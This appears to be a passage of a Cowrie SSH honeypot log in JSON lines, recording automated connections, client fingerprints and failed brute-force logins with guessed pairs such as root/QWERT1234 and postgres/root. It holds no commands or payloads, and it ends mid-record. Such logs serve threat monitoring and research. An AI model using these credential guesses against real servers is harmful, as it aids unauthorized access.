{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:53.463196Z","src_ip":"2.57.122.238","session":"16ed69d1c595","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:53.767419Z","src_ip":"2.57.122.238","session":"16ed69d1c595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:54.876464Z","src_ip":"2.57.122.238","session":"16ed69d1c595","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":39880,"dst_ip":"10.17.0.5","dst_port":22,"session":"27cb2f879b1a","protocol":"ssh","message":"New connection: 38.93.206.2:39880 (10.17.0.5:22) [session: 27cb2f879b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:58.553900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:58.558990Z","src_ip":"38.93.206.2","session":"27cb2f879b1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:58.610647Z","src_ip":"38.93.206.2","session":"27cb2f879b1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"04021985","message":"login attempt [root/04021985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:58.788245Z","src_ip":"38.93.206.2","session":"27cb2f879b1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:59.844362Z","src_ip":"38.93.206.2","session":"27cb2f879b1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":52964,"dst_ip":"159.203.135.109","dst_port":22,"session":"aadf2116f784","protocol":"ssh","message":"New connection: 91.211.95.158:52964 (159.203.135.109:22) [session: aadf2116f784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:02.492738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:02.500677Z","src_ip":"91.211.95.158","session":"aadf2116f784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:02.651239Z","src_ip":"91.211.95.158","session":"aadf2116f784","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gourmet","password":"gourmet","message":"login attempt [gourmet/gourmet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:03.270560Z","src_ip":"91.211.95.158","session":"aadf2116f784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:04.429960Z","src_ip":"91.211.95.158","session":"aadf2116f784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":34356,"dst_ip":"10.17.0.5","dst_port":22,"session":"5eeebec9f073","protocol":"ssh","message":"New connection: 111.238.174.6:34356 (10.17.0.5:22) [session: 5eeebec9f073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:20.811121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:20.819459Z","src_ip":"111.238.174.6","session":"5eeebec9f073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:21.005788Z","src_ip":"111.238.174.6","session":"5eeebec9f073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERT1234","message":"login attempt [root/QWERT1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:21.743764Z","src_ip":"111.238.174.6","session":"5eeebec9f073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:22.945891Z","src_ip":"111.238.174.6","session":"5eeebec9f073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55010,"dst_ip":"10.17.0.5","dst_port":22,"session":"8950312ca8b8","protocol":"ssh","message":"New connection: 80.94.92.184:55010 (10.17.0.5:22) [session: 8950312ca8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:31.174608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:31.435936Z","src_ip":"80.94.92.184","session":"8950312ca8b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:31.439325Z","src_ip":"80.94.92.184","session":"8950312ca8b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:34.403953Z","src_ip":"80.94.92.184","session":"8950312ca8b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:36.395385Z","src_ip":"80.94.92.184","session":"8950312ca8b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":46898,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0bce8c21fe1","protocol":"ssh","message":"New connection: 27.71.230.31:46898 (10.17.0.5:22) [session: f0bce8c21fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:44.660703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:44.673446Z","src_ip":"27.71.230.31","session":"f0bce8c21fe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:44.966249Z","src_ip":"27.71.230.31","session":"f0bce8c21fe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User123","message":"login attempt [root/User123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:49.098705Z","src_ip":"27.71.230.31","session":"f0bce8c21fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.129.44.66","src_port":43918,"dst_ip":"10.17.0.5","dst_port":22,"session":"a341b543e829","protocol":"ssh","message":"New connection: 43.129.44.66:43918 (10.17.0.5:22) [session: a341b543e829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:49.476324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:49.482297Z","src_ip":"43.129.44.66","session":"a341b543e829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:49.734627Z","src_ip":"43.129.44.66","session":"a341b543e829","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"root","message":"login attempt [postgres/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:50.772506Z","src_ip":"43.129.44.66","session":"a341b543e829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:51.140895Z","src_ip":"27.71.230.31","session":"f0bce8c21fe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:52.026819Z","src_ip":"43.129.44.66","session":"a341b543e829","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.142.28.77","src_port":37674,"dst_ip":"10.17.0.5","dst_port":22,"session":"c87051c59bd5","protocol":"ssh","message":"New connection: 192.142.28.77:37674 (10.17.0.5:22) [session: c87051c59bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:56.965903Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:09:57.047188Z","src_ip":"192.142.28.77","session":"c87051c59bd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":44268,"dst_ip":"159.203.135.109","dst_port":22,"session":"4524485cf278","protocol":"ssh","message":"New connection: 103.172.78.219:44268 (159.203.135.109:22) [session: 4524485cf278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:00.588534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:00.595600Z","src_ip":"103.172.78.219","session":"4524485cf278","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:00.856250Z","src_ip":"103.172.78.219","session":"4524485cf278","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elfxf777","message":"login attempt [root/elfxf777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:01.638558Z","src_ip":"103.172.78.219","session":"4524485cf278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:02.899750Z","src_ip":"103.172.78.219","session":"4524485cf278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":53276,"dst_ip":"10.17.0.5","dst_port":22,"session":"24132fb85367","protocol":"ssh","message":"New connection: 111.238.174.6:53276 (10.17.0.5:22) [session: 24132fb85367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:20.330188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:20.338092Z","src_ip":"111.238.174.6","session":"24132fb85367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS